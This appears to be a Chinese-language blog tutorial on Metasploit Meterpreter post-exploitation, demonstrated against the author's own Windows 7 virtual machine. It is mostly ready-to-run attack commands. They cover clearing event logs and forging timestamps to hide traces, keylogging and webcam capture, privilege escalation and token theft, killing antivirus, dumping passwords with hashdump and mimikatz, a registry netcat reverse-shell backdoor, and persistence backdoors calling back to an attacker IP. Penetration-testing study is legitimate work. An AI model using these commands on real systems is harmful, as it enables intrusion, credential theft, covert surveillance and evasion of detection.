一、前言
MSF是当今安全专业人员免费提供的最有用的审计工具之一!!本篇为地基篇,都是基础必备知识,掌握它吧~
接下来我会介绍基本的认知MSF,基础的架构,以及演示总结出我学整整一年安全来所会的Metasploit meterpreter基础知识告诉大家,分享者才是学习中的最大受益者!!
这里不会讲解一些枯燥的废话,需要专业术语方面的请百度,开始演示。
二、MSF基础认知
1.体系框架
直接拿一张图给大家简单看一下Metasploit 体系结构,该图是google找到的,清晰易懂;
2.Metasploit文件系统
kali是自带Metasploit的,如果需要在windows和mac环境下安装也可以的
代码语言:javascript复制https://www.metasploit.com/download #官网下载安装即可
这里花一分钟让自己熟悉它的文件系统和库:
代码语言:javascript复制该MSF文件系统是一个直观的方式布置:
data:Metasploit使用的可编辑文件
documentation:为框架提供文档
external: 源代码和第三方库
lib:框架代码库的'肉'
modules:实际的MSF模块
plugins:可以在运行时加载的插件
scripts:Meterpreter和其他脚本
tools:各种有用的命令行工具
核心文件包括data、modules、scripts、tools、plugins
1) data
该文件里常用的的功能在wordlists(字典)里面
2) modules
该文件夹里包括了msf最核心的几个文件:
代码语言:javascript复制auxiliary #漏洞辅助模块一般是没有攻击载荷的漏洞攻击
encoders #码器模块
evasion #简单的反杀模块
exploits #渗透攻击模块
nops #空指令模块
payloads #漏洞负载模块
3) scripts
该文件夹里面包含这各种脚本
4) tools
该文件夹中存放着大量的使用工具
5) plugins
该文件夹放着大量插件
简单知道该文件系统是干嘛的就行,对渗透领域深入后可以利用找到该模块利用里面的代码!
三、后渗透必备命令
这里演示环境:
攻击者:kali-2020.4
被攻击者:windows7
这里不会写怎么反弹shell,怎么提权的,不会的百度~~~~
1.系统命令
1) 基本系统命令
代码语言:javascript复制sessions -i <ID值> #进入会话 -k #杀死会话
background #将当前会话放置后台
run #执行已有的模块,输入run后按两下tab,列出已有的脚本
info #查看已有模块信息
getuid #查看权限
getpid #获取当前进程的pid
sysinfo #查看目标机系统信息
ps #查看当前活跃进程 kill <PID值> 杀死进程
idletime #查看目标机闲置时间
reboot / shutdown #重启/关机
shell #进入目标机cmd shell
2) 开关键盘/鼠标
代码语言:javascript复制uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标
uictl disable mouse #禁用鼠标
uictl disable keyboard #禁用键盘
uictl enable mouse #开启鼠标
uictl enable keyboard #开启键盘
3) 摄像头命令
代码语言:javascript复制webcam_list #查看摄像头
webcam_snap #通过摄像头拍照
webcam_stream #通过摄像头开启视频
如果系统不存在摄像头的话就会报错! 这里控制windows7是我本地虚拟机环境,我禁用了USB虚拟接口。 开启摄像头会弹出web页面,进行远程观看! 拍摄的照片会存放在/user/ascotbe/目录下,会有提示!
4) 执行文件
代码语言:javascript复制execute -H -i -f cmd.exe #创建新进程cmd.exe,-H不可见,-i交互
还有个-m命令是在内存中运行~~
这里主要记住这个命令即可,创建的新进程对方无法可见,就是在电脑上打开了一个cmd新窗口…
5) 进程迁移
代码语言:javascript复制getpid # 获取当前进程的pid
ps # 查看当前活跃进程
migrate <pid值> #将Meterpreter会话移植到指定pid值进程中
kill <pid值> #杀死进程
演示:
这里有两个进程:
代码语言:javascript复制1264 1148 explorer.exe x64 1 dayu-PCdayu C:Windowsexplorer.exe
1396 488 svchost.exe
可以看到如果两个进程的权限不同,也就是说该进程没有要注入的进程权限高的话,是没办法写入到其他进程中去的!!很直观的方法是看右边的数据!
这里migrate 1264成功将我们的shell攻击文件移植到了explorer的PID中,这是攻击常用注入的进程程序之一,主要作用是以后对方就算关机重启后,开启监听还是能继续获得反弹shell的!!
6) 清除日志
后渗透后需要将日志痕迹清理:
代码语言:javascript复制clearev #清除windows中的应用程序日志、系统日志、安全日志,需要管理员权限
执行命令前存在很多日志痕迹:
执行后:
这里必须得是system权限!!!
清理后会有一个日志清除记录!!
2.文件命令
1) 基础文件系统命令
演示:
代码语言:javascript复制getwd 或者 pwd # 查看当前工作目录
ls
cd
cat C://Users//dayu//Desktop//dayu.txt # 查看文件内容
upload /root/Desktop/test-dayu.txt C://Users//dayu//Desktop # 上传文件到目标机上
download C://Users//dayu//Desktop//dayu.txt /root/Desktop/ # 下载文件到本机上
edit C://Users//dayu//Desktop//1.txt #会进入编辑模式,编辑或创建文件,没有的话,会新建文件
rm C://Users//dayu//Desktop//1.txt #删除文件
mkdir lltest2 #只能在当前目录下创建文件夹
rmdir lltest2 #只能删除当前目录下文件夹
getlwd 或者 lpwd #操作攻击者主机 查看当前目录
lcd /tmp #操作攻击者主机 切换目
2) 伪造时间戳
timestomp命令存在好几个功能,这里记住-v和-f
即可…
演示:
代码语言:javascript复制timestomp -v C:/phpStudy/manual.chm #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt
伪造时间信息,挺实用!
3) 搜索文件
代码语言:javascript复制search -f *dayu*.exe #全局搜索dayu.exe这个文件
搜索速度还是很快的!
3、网络命令
1) 基本命令
基础命令,自行演示:
代码语言:javascript复制ipconfig/ifconfig #查看网卡信息
netstat –ano #查看端口进程
arp #查看ARP信息
getproxy #查看代理信息
route #查看路由
2) 端口转发
演示:
代码语言:javascript复制portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口
rdesktop 127.0.0.1:6666 #kali远程桌面使用6666端口
3) 添加路由
演示:
代码语言:javascript复制run autoroute -s 10.10.10.0/24 #添加到目标环境网络
run autoroute –p #查看添加的路由
内网穿透必备!
代码语言:javascript复制run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24 #扫描整个段存活主机
run auxiliary/scanner/portscan/tcp RHOSTS=10.10.10.2 PORTS=3389 #检查IP是否开放3389
4) Socks4a代理
配置socks4a模块:
代码语言:javascript复制msf> use auxiliary/server/socks4a
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run
配置proxychains:
代码语言:javascript复制vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080
最后proxychains 使用Socks4a代理访问工具或者浏览器即可!
4.信息收集
最常用的脚本:
代码语言:javascript复制/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather
解释:
run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取Chrome缓存
run post/windows/gather/enum_patches #补丁信息
run post/windows/gather/enum_domain #查找域控
这几个都是常用也高效的,查看到缓存可以收集邮箱登录等各平台客户用过的记录信息和账号密码,查看安装软件信息,补丁信息更好的进一步EXP,或者找到域控信息等
5.提权
1)getsystem
工作原理:
代码语言:javascript复制1、getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
2、getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
3、Windows服务已启动,导致与命名管道建立连接。
4、该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程… 这里不是特别稳定…
2)bypassuac
内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:
代码语言:javascript复制use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
演示:
如使用bypassuac.rb脚本:
代码语言:javascript复制msf > use exploit/windows/local/bypassuac
msf > set SESSION 5 #选择当前会话
msf > run
大部分情况下直接使用getsystem
是很难提权的,会提示管道内存问题、令牌问题、RPCSS变体等阻碍提权,但如果利用bypassuac返回新会话,就非常稳定提权了…实用
6.内核提权
可先利用enum_patches
模块收集补丁信息,然后查找可用的exploits进行提权,需要退出当前连接
meterpreter > run post/windows/gather/enum_patches #查看补丁信息
msf > use exploit/windows/.... #利用未打补丁的模块即可
msf > set SESSION 5
msf > exploit
7.远程桌面&截图
代码语言:javascript复制enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
set_desktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
use espia #或者使用espia模块截屏 然后输入screengrab
run vnc #使用vnc远程桌面连接,这方法有点问题,上传了exe但是启动不了
1)enumdesktops查询
代码语言:javascript复制meterpreter > enumdesktops
Enumerating all accessible desktops
2)screenshot截图
清晰截图~~
3)espia截图
代码语言:javascript复制meterpreter > use espia
meterpreter > screengrab
利用espia模块会自动打开截图的图片,screenshot不会自动打开,需要自行到tmp目录下打开!
8、开启rdp&添加用户
1)getgui
代码语言:javascript复制run getgui -e #开启远程桌面
run getgui -u dayu1 -p 123456 #添加用户
run getgui -f 9999 –e #3389端口转发到6661
该方法创建用户不稳定…
2)enable_rdp
代码语言:javascript复制run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=9998 #将3389端口转发到9998
enable_rdp比getgui稳定性好太多,也更实用!!
9.键盘记录
代码语言:javascript复制keyscan_start #开始键盘记录
keyscan_dump #导出记录数据
keyscan_stop #结束键盘记录
注意:导出记录的话要在keyscan_stop命令之前,不然结束了就无法导出了
10、sniffer抓包
代码语言:javascript复制use sniffer
sniffer_interfaces #查看网卡
sniffer_start 2 #选择网卡 开始抓包
sniffer_stats 2 #查看状态
sniffer_dump 2 /tmp/lltest.pcap #导出pcap数据包
sniffer_stop 2 #停止抓包
这里非常实用的抓包…
11.注册表操作
1)参数列表如下
代码语言:javascript复制meterpreter > reg -h
Usage: reg [command] [options]
Interact with the target machine's registry.
OPTIONS:
-d <opt> The data to store in the registry value.#注册表中值的数据
-h Help menu.
-k <opt> The registry key path (E.g. HKLMSoftwareFoo).#注册表键路径
-r <opt> The remote machine name to connect to (with current process credentials#要连接的远程计算机名称(使用当前进程凭据)
-t <opt> The registry value type (E.g. REG_SZ).#注册表值类型
-v <opt> The registry value name (E.g. Stuff).#注册表键名称
-w Set KEY_WOW64 flag, valid values [32|64].#设置32位注册列表还是64位
COMMANDS:
enumkey Enumerate the supplied registry key [-k <key>]#枚举可获得的键
createkey Create the supplied registry key [-k <key>]#创建提供的注册表项
deletekey Delete the supplied registry key [-k <key>]#删除提供的注册表项
queryclass Queries the class of the supplied key [-k <key>]#查询键值数据
setval Set a registry value [-k <key> -v <val> -d <data>]#设置键值
deleteval Delete the supplied registry value [-k <key> -v <val>]#删除提供的注册表值
queryval Queries the data contents of a value [-k <key> -v <val>]#查询值的数据内容
2)注册表设置nc后门
代码语言:javascript复制upload /root/Desktop/nc64.exe C://Users//dayu//Desktop #上传nc,前面的是你要上传文件的位置
reg enumkey -k HKLM\software\microsoft\windows\currentversion\run #枚举run下的key
reg setval -k HKLM\software\microsoft\windows\currentversion\run -v lltest_nc -d 'C://Users//dayu//Desktop//nc.exe -Ldp 443 -e cmd.exe' #设置键值
reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v lltest_nc #查看键值
nc -v 192.168.0.142 443 #攻击者连接nc后门
植入后门!
12.令牌操作
1)假冒令牌
代码语言:javascript复制use incognito #进入incognito模式
help incognito #查看帮助
list_tokens -u #查看可用的token
impersonate_token 'NT AUTHORITYSYSTEM' #假冒SYSTEM token,或者用下面的
#impersonate_token NT AUTHORITY\SYSTEM #不加单引号 需使用\
execute -f cmd.exe -i –t # -t 使用假冒的token执行或者直接shell
rev2self #返回原始token
欺骗实用!
2)steal_token窃取令牌
代码语言:javascript复制steal_token <pid值> #从指定进程中窃取token 先ps
drop_token #删除窃取的token
这种方法如果不是SYSTEM权限的话是无法窃取SYSTEM权限的,只能窃取相关的权限
13.关闭杀软
代码语言:javascript复制meterpreter> run killav //这个脚本要小心使用,可能导致目标机器蓝屏死机
14.密码抓取
1)hashdump导出密码哈希
代码语言:javascript复制run hashdump
hashdump 模块可以从SAM数据库中导出本地用户账号,该命令的使用需要系统权限
代码语言:javascript复制run windows/gather/smart_hashdump
还可以使用以上命令,该命令的使用需要系统权限,该功能更强大,可以导出域内所有用户的hash!!
smart_hashdump还可以配合PSExec模块进行哈希攻击…
2)抓取自动登录的密码
很多用户习惯将计算机设置自动登录,可以使用以下抓取自动登录的用户名和密码
代码语言:javascript复制run windows/gather/credentials/windows_autologin
3)wiki模块使用
可以看到提示:
代码语言:javascript复制[!] Loaded x86 Kiwi on an x64 architecture
这里本来是要利用mimikatz进行密码获取的,但是发现现在kiwi把mimikatz包含进去了…
报错解释又得回归到kiwi原理上:
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。
所以这里随意找了个进程迁移进去…
代码语言:javascript复制creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码
可看到功能非常强大,这里就简单知道下能干嘛就行,kiwi_cmd命令是包含了mimikatz… 后期会深入利用在渗透中的…
可看到利用creds_all查看到了所有信息,甚至是明文信息也看到了…
代码语言:javascript复制kiwi_cmd sekurlsa::logonpasswords
这里将kiwi_cmd理解为mimikatz即可…通过mimikatz命令成功获得了明文密码…
15.后门植入
metasploit自带的后门有两种方式启动的,一种是通过启动项启动persistence,一种是通过服务启动metsvc,另外还可以通过persistence_exe自定义后门文件。
1)persistence启动项后门
代码语言:javascript复制run persistence –h #查看帮助
run persistence -X -i 5 -p 4444 -r 192.168.175.145
#-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip
可看到在目标机的C:UsersdayuAppDataLocalTempebagFvdP.vbs下建立了vbs文件,开机会启动这个文件上面的vbs文件…
监听写反弹时间间隔是5s 端口是443 Metasploit服务器Ip是192.168.175.145。
缺点是容易被杀毒软件查杀!,建议思路是:
代码语言:javascript复制在C:Users***AppDataLocalTemp目录下,上传一个vbs脚本
在注册表HKLMSoftwareMicrosoftWindowsCurrentVersionRun加入开机启动项
2)metsvc服务后门
代码语言:javascript复制run metsvc –h # 查看帮助
run metsvc –A #自动安装后门
可看到自动在C:UsersdayuAppDataLocalTempccNTBztKL生成三个文件,并把Meterpreter自动放在服务自启中
代码语言:javascript复制set payload windows/metsvc_bind_tcp
并把port设置31337端口即可...连接
两种方法都很简单,但是杀软不一定放行哦,哈哈~~
16.扫描脚本
这里并不能少了扫描这个项目,因为现在大多数的信息收集都是有自己的可用工具,或者是dir、御剑等等非常实用的工具,但是这里我还是提提吧…也是功能之一,万一用上了…
代码语言:javascript复制/usr/share/metasploit-framework/modules/auxiliary/scanner/
在这个目录下是扫描脚本,可以修改的
代码语言:javascript复制use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/oracle/oracle_login
常用的扫描脚本,枚举什么自己看文件名即可理解...
四、结束语
以上都是基础必须理解和会的思路和命令方法,大部分渗透人员都接触过Metasploit这款工具,多强大和实用我都体现出来了,不管是初学者还是资深者,都可以阅读。
这里只简单演示了Metasploit-meterpreter的基本功能,还有Metasploit一些思路: 1、漏扫模块编写自己的扫描仪 2、MSF和Nessus联动合作,或进行各方面的漏扫等 3、利用Metasploit写一个漏洞检查工具 4、Metasploit开发利用源码写EXP 5、开发web应用程序漏洞解决Dot Defender等 6、嗅探、透视、隐身、无痕访问、爆破等等 7、post开发等等都可以操作… …
太多了,Metasploit深入起来包罗万象,我也是学会了冰山一角,这篇文章如果对大家有帮助,那我写得就值得的,加油~
今天基础牢固就到这里,虽然基础,但是必须牢记于心。